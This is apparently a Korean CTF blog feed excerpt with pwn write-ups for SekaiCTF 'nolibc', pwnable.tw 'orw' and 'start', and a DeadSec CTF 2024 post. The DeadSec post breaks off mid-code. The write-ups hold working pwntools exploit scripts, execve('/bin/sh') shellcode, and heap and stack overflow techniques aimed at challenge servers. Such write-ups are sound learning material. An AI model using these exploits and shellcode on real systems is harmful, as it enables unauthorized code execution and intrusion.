&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( !next_allocate_addr_0 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( &amp;amp;next_allocate_addr_1-&amp;gt;data[next_allocate_addr_1-&amp;gt;size] == next_allocate_addr_1-&amp;gt;next )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_1-&amp;gt;size += next_allocate_addr_1-&amp;gt;next-&amp;gt;size + 0x10;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_0 = next_allocate_addr_1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_1-&amp;gt;next = next_allocate_addr_1-&amp;gt;next-&amp;gt;next;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_0 = next_allocate_addr_1-&amp;gt;next;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_1 = next_allocate_addr_0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;if ( next_allocate_addr_1 )
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v1 = heap2 - (next_allocate_addr_1 - heap1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_0 = next_allocate_addr_1-&amp;gt;size;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( v1 &amp;gt; next_allocate_addr_0 )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_0 = next_allocate_addr_1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next_allocate_addr_1-&amp;gt;size = v1 - 0x10;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;return next_allocate_addr_0;
}&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;br&gt;함수들이 많아서 분석이 약간 복잡하지만 취약점 자체는 간단하게 터진다.&lt;br&gt;계속 할당을 받다보면 heap2 뒤로 syscall 번호가 저장된 부분까지 오버플로우가 발생한다.&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ll1vQ/btsJg3kUyaV/VAS7GR04AzfKsUzizQP5S1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ll1vQ/btsJg3kUyaV/VAS7GR04AzfKsUzizQP5S1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ll1vQ/btsJg3kUyaV/VAS7GR04AzfKsUzizQP5S1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fll1vQ%2FbtsJg3kUyaV%2FVAS7GR04AzfKsUzizQP5S1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;990&quot; height=&quot;572&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: center;&quot;&gt;&lt;br&gt;open_syscall을 execve_syscall로 바꿔주면&lt;br&gt;파일을 open할 때 파일 이름을 &quot;/bin/sh&quot;로 설정하면 쉘을 얻을 수 있다.&lt;br&gt;save_to_file가 아닌 load_from_file를 써야하는데 쓰기 권한 문제인 것 같다&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;from pwn import *

def login(id,pw):
	p.sendlineafter(b'option:',b'1')
	p.sendlineafter(b'Username:',id)
	p.sendlineafter(b'Password:',pw)

def register(id,pw):
	p.sendlineafter(b'option:',b'2')
	p.sendlineafter(b'Username:',id)
	p.sendlineafter(b'Password:',pw)

def exit(id,pw):
	p.sendlineafter(b'option:',b'3')

def add_string(size,data):	
	p.sendlineafter(b'option:',b'1')
	p.sendlineafter(b'length:',str(size).encode())
	p.sendlineafter(b'string:',data)

def delete_string(idx):
	p.sendlineafter(b'option:',b'2')
	p.sendlineafter(b'delete:',str(idx).encode())

def view_string():
	p.sendlineafter(b'option:',b'3')

def save_to_file(filename):
	p.sendlineafter(b'option:',b'4')
	p.sendlineafter(b'filename:',filename)

def load_from_file(filename):
	p.sendlineafter(b'option:',b'5')
	p.sendlineafter(b'filename:',filename)

def logout():
	p.sendlineafter(b'option:',b'6')

context.log_level = 'debug'
# p = process('./main')
p = remote('nolibc.chals.sekai.team', 1337, ssl=True)

register(b'ssongk',b'ssongk')
login(b'ssongk',b'ssongk')

for _ in range(170):
	add_string(0x100,b'add_string')

add_string(0x3F,b'a'*0x30+p32(0)+p32(1)+p32(0x3b))

for i in range(100):
	delete_string(i)

load_from_file(b'/bin/sh')

p.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>CTF</category>
      <author>ssongk</author>
      <guid isPermaLink="true">https://ssongkit.tistory.com/829</guid>
      <comments>https://ssongkit.tistory.com/829#entry829comment</comments>
      <pubDate>Mon, 26 Aug 2024 21:29:57 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.tw] orw write-up</title>
      <link>https://ssongkit.tistory.com/828</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;문제 제목과 설명 그대로 orw 쉘 코드를 실행시켜주면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1724068924243&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf(&quot;Give my your shellcode:&quot;);
  read(0, &amp;amp;shellcode, 200);
  ((void (*)(void))shellcode)();
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;seccomp-tools로 확인해보면 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pwutu/btsI8YYA1JA/wTZwKBKh0Oyhc6uKH6aCt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pwutu/btsI8YYA1JA/wTZwKBKh0Oyhc6uKH6aCt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pwutu/btsI8YYA1JA/wTZwKBKh0Oyhc6uKH6aCt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpwutu%2FbtsI8YYA1JA%2FwTZwKBKh0Oyhc6uKH6aCt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1094&quot; height=&quot;536&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;로컬 문제 파일에선 shellcode 영역에 x권한이 없는데 리모트에는 있는 듯 하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1338&quot; data-origin-height=&quot;800&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOvtDb/btsI9c3paJz/6QoIhtYkluT63hSkkskYDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOvtDb/btsI9c3paJz/6QoIhtYkluT63hSkkskYDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOvtDb/btsI9c3paJz/6QoIhtYkluT63hSkkskYDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOvtDb%2FbtsI9c3paJz%2F6QoIhtYkluT63hSkkskYDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1338&quot; height=&quot;800&quot; data-origin-width=&quot;1338&quot; data-origin-height=&quot;800&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1723984746495&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = process('./orw')
p = remote('chall.pwnable.tw', 10001)

pay = asm(shellcraft.open('/home/orw/flag'))
pay += asm(shellcraft.read(3,'esp',0x100))
pay += asm(shellcraft.write(1,'esp',0x100))

p.send(pay)
p.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>write-up(pwn)/pwnable.tw</category>
      <author>ssongk</author>
      <guid isPermaLink="true">https://ssongkit.tistory.com/828</guid>
      <comments>https://ssongkit.tistory.com/828#entry828comment</comments>
      <pubDate>Mon, 19 Aug 2024 21:02:16 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.tw] start write-up</title>
      <link>https://ssongkit.tistory.com/827</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;317&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7uEpC/btsI6icKNG6/r5R9WE1KZIzQPkPl7642O1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7uEpC/btsI6icKNG6/r5R9WE1KZIzQPkPl7642O1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7uEpC/btsI6icKNG6/r5R9WE1KZIzQPkPl7642O1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7uEpC%2FbtsI6icKNG6%2Fr5R9WE1KZIzQPkPl7642O1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;317&quot; height=&quot;130&quot; data-origin-width=&quot;317&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;특이사항으로 스택에 실행 권한이 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;481&quot; data-origin-height=&quot;138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nw0wD/btsI6BiK7Xn/Vd3QlWYSkKFiMAYombsxg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nw0wD/btsI6BiK7Xn/Vd3QlWYSkKFiMAYombsxg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nw0wD/btsI6BiK7Xn/Vd3QlWYSkKFiMAYombsxg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnw0wD%2FbtsI6BiK7Xn%2FVd3QlWYSkKFiMAYombsxg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;481&quot; height=&quot;138&quot; data-origin-width=&quot;481&quot; data-origin-height=&quot;138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;문제 코드는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1723818005672&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;__int64 start()
{
  __int64 result; // rax

  result = 0x3C00000003LL;
  __asm
  {
    int     80h; LINUX - sys_write
    int     80h; LINUX - sys_read
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;어셈으로 보면 다음과 같으며 syscall table을 참조하여 해석할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1283&quot; data-origin-height=&quot;568&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbernx/btsI5uScwI1/z65J1jXMEkXTJkQP4zcbp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbernx/btsI5uScwI1/z65J1jXMEkXTJkQP4zcbp0/img.png&quot; data-alt=&quot;https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbernx/btsI5uScwI1/z65J1jXMEkXTJkQP4zcbp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbbernx%2FbtsI5uScwI1%2Fz65J1jXMEkXTJkQP4zcbp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1283&quot; height=&quot;568&quot; data-origin-width=&quot;1283&quot; data-origin-height=&quot;568&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1723818133152&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.text:08048060 ; __int64 start()
.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018&amp;uarr;o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch ; '&amp;lt;'
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;bof가 발생하며 스택 릭을 한 뒤 쉘코드를 넣어 실행해주면 쉘을 얻을 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1723818147440&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

context.log_level = 'debug'
context.arch = 'x86'

p = process('./start')
p = remote('chall.pwnable.tw', 10000)

p.sendafter(b'Let\'s start the CTF:',b'a'*0x14+p32(0x8048087))

stack_leak = u32(p.recvn(4))
print(hex(stack_leak))
p.recv()

pay = asm('''
	push 0x68732f
	push 0x6e69622f
	lea ebx, [esp]
	xor ecx, ecx
	xor edx, edx
	mov eax, 0x0b
	int 0x80
	''')

p.send(b'a'*0x14+p32(stack_leak+0x14)+pay)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;141&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s5VnQ/btsI5WuhpXc/e6DtOyS19V8psuLKrDk9uK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s5VnQ/btsI5WuhpXc/e6DtOyS19V8psuLKrDk9uK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s5VnQ/btsI5WuhpXc/e6DtOyS19V8psuLKrDk9uK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs5VnQ%2FbtsI5WuhpXc%2Fe6DtOyS19V8psuLKrDk9uK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;141&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;141&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>write-up(pwn)/pwnable.tw</category>
      <author>ssongk</author>
      <guid isPermaLink="true">https://ssongkit.tistory.com/827</guid>
      <comments>https://ssongkit.tistory.com/827#entry827comment</comments>
      <pubDate>Fri, 16 Aug 2024 23:22:31 +0900</pubDate>
    </item>
    <item>
      <title>DeadSec CTF 2024 (Pwn)</title>
      <link>https://ssongkit.tistory.com/826</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;748&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnK2gz/btsIRwHu9xh/L0kXKJKQKT5jh3Tjj3Wj9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnK2gz/btsIRwHu9xh/L0kXKJKQKT5jh3Tjj3Wj9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnK2gz/btsIRwHu9xh/L0kXKJKQKT5jh3Tjj3Wj9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnK2gz%2FbtsIRwHu9xh%2FL0kXKJKQKT5jh3Tjj3Wj9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1902&quot; height=&quot;748&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;748&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[ solved ]&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;misc / Mic Check&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;그냥 echo 구현해주면 되는 문제&lt;/p&gt;
&lt;pre id=&quot;code_1722162520470&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

context.log_level = 'debug'

p = remote('34.134.200.24', 30373)

for _ in range(100):
    p.recvuntil(b'&amp;gt;  ')
    echo = p.recvuntil(b' ')[:-1]
    p.sendlineafter('&amp;gt;',echo)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;pwn / Super CPP Calculator&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;566&quot; data-origin-height=&quot;138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSnlzh/btsIRmSuVST/epruoaoCxkFtADe9nzkMrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSnlzh/btsIRmSuVST/epruoaoCxkFtADe9nzkMrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSnlzh/btsIRmSuVST/epruoaoCxkFtADe9nzkMrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSnlzh%2FbtsIRmSuVST%2FepruoaoCxkFtADe9nzkMrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;566&quot; height=&quot;138&quot; data-origin-width=&quot;566&quot; data-origin-height=&quot;138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1722162888704&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  calc_st calc; // [rsp+0h] [rbp-20h] BYREF
  int menu_num; // [rsp+1Ch] [rbp-4h] BYREF

  menu_num = 0;
  Calculator::Calculator(&amp;amp;calc);
  setup();
  while ( 1 )
  {
    while ( 1 )
    {
      banner();
      printf(&quot;&amp;gt; &quot;);
      __isoc99_scanf(&quot;%d&quot;, &amp;amp;menu_num);
      if ( menu_num != 1337 )
        break;
      Calculator::Backdoor(&amp;amp;calc);
    }
    if ( menu_num &amp;lt;= 1337 )
    {
      if ( menu_num == 1 )
      {
        Calculator::setnumber_floater(&amp;amp;calc);
      }
      else if ( menu_num == 2 )
      {
        Calculator::setnumber_integer(&amp;amp;calc);
      }
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1722162902655&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void __fastcall Calculator::Calculator(calc_st *this)
{
  this-&amp;gt;int1 = 0;
  this-&amp;gt;int2 = 0;
  this-&amp;gt;sum_int = 0;
  this-&amp;gt;float1 = 0;
  this-&amp;gt;float2 = 0;
  this-&amp;gt;div_float = 0;
  this-&amp;gt;int1 = 0;
  this-&amp;gt;int2 = 0;
  this-&amp;gt;sum_int = 0;
  this-&amp;gt;float1 = 0;
  this-&amp;gt;float2 = 0;
  this-&amp;gt;div_float = 0;
  this-&amp;gt;result = 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1722162994081&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssize_t __fastcall Calculator::Backdoor(calc_st *this)
{
  ssize_t result; // rax
  __int64 buf[128]; // [rsp+10h] [rbp-400h] BYREF

  memset(buf, 0, sizeof(buf));
  result = this-&amp;gt;result;
  if ( result )
  {
    puts(&quot;Create note&quot;);
    printf(&quot;&amp;gt; &quot;);
    return read(0, buf, this-&amp;gt;result);
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1722163002873&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;calc_st *__fastcall Calculator::setnumber_floater(calc_st *this)
{
  calc_st *result; // rax

  puts(&quot;Floater Calculator&quot;);
  printf(&quot;&amp;gt; &quot;);
  __isoc99_scanf(&quot;%f&quot;, &amp;amp;this-&amp;gt;float1);
  printf(&quot;&amp;gt; &quot;);
  __isoc99_scanf(&quot;%f&quot;, &amp;amp;this-&amp;gt;float2);
  if ( *&amp;amp;this-&amp;gt;float1 &amp;lt; 0.0 || *&amp;amp;this-&amp;gt;float2 &amp;lt; 0.0 || *&amp;amp;this-&amp;gt;float1 &amp;gt; 10.0 || *&amp;amp;this-&amp;gt;float2 &amp;gt; 10.0 )
  {
    printf(&quot;No Hack&quot;);
    exit(1);
  }
  if ( checkDecimalPlaces(*&amp;amp;this-&amp;gt;float1) != 1 )
  {
    this-&amp;gt;float1 = 0x3F800000;
    this-&amp;gt;float2 = 0x3F800000;
  }
  *&amp;amp;this-&amp;gt;div_float = *&amp;amp;this-&amp;gt;float1 / *&amp;amp;this-&amp;gt;float2;
  this-&amp;gt;result = *&amp;amp;this-&amp;gt;div_float;
  result = this-&amp;gt;result;
  if ( result &amp;lt; 0 )
  {
    result = this;
    --this-&amp;gt;result;
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1722163013628&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;calc_st *__fastcall Calculator::setnumber_integer(calc_st *this)
{
  calc_st *result; // rax

  puts(&quot;Integer Calculator&quot;);
  printf(&quot;&amp;gt; &quot;);
  __isoc99_scanf(&quot;%d&quot;, this);
  printf(&quot;&amp;gt; &quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;this-&amp;gt;int2);
  if ( this-&amp;gt;int1 &amp;lt; 0 || this-&amp;gt;int2 &amp;lt; 0 || this-&amp;gt;int1 &amp;gt; 0xA || this-&amp;gt;int2 &amp;gt; 0xA )
  {
    printf(&quot;No Hack&quot;);
    exit(1);
  }
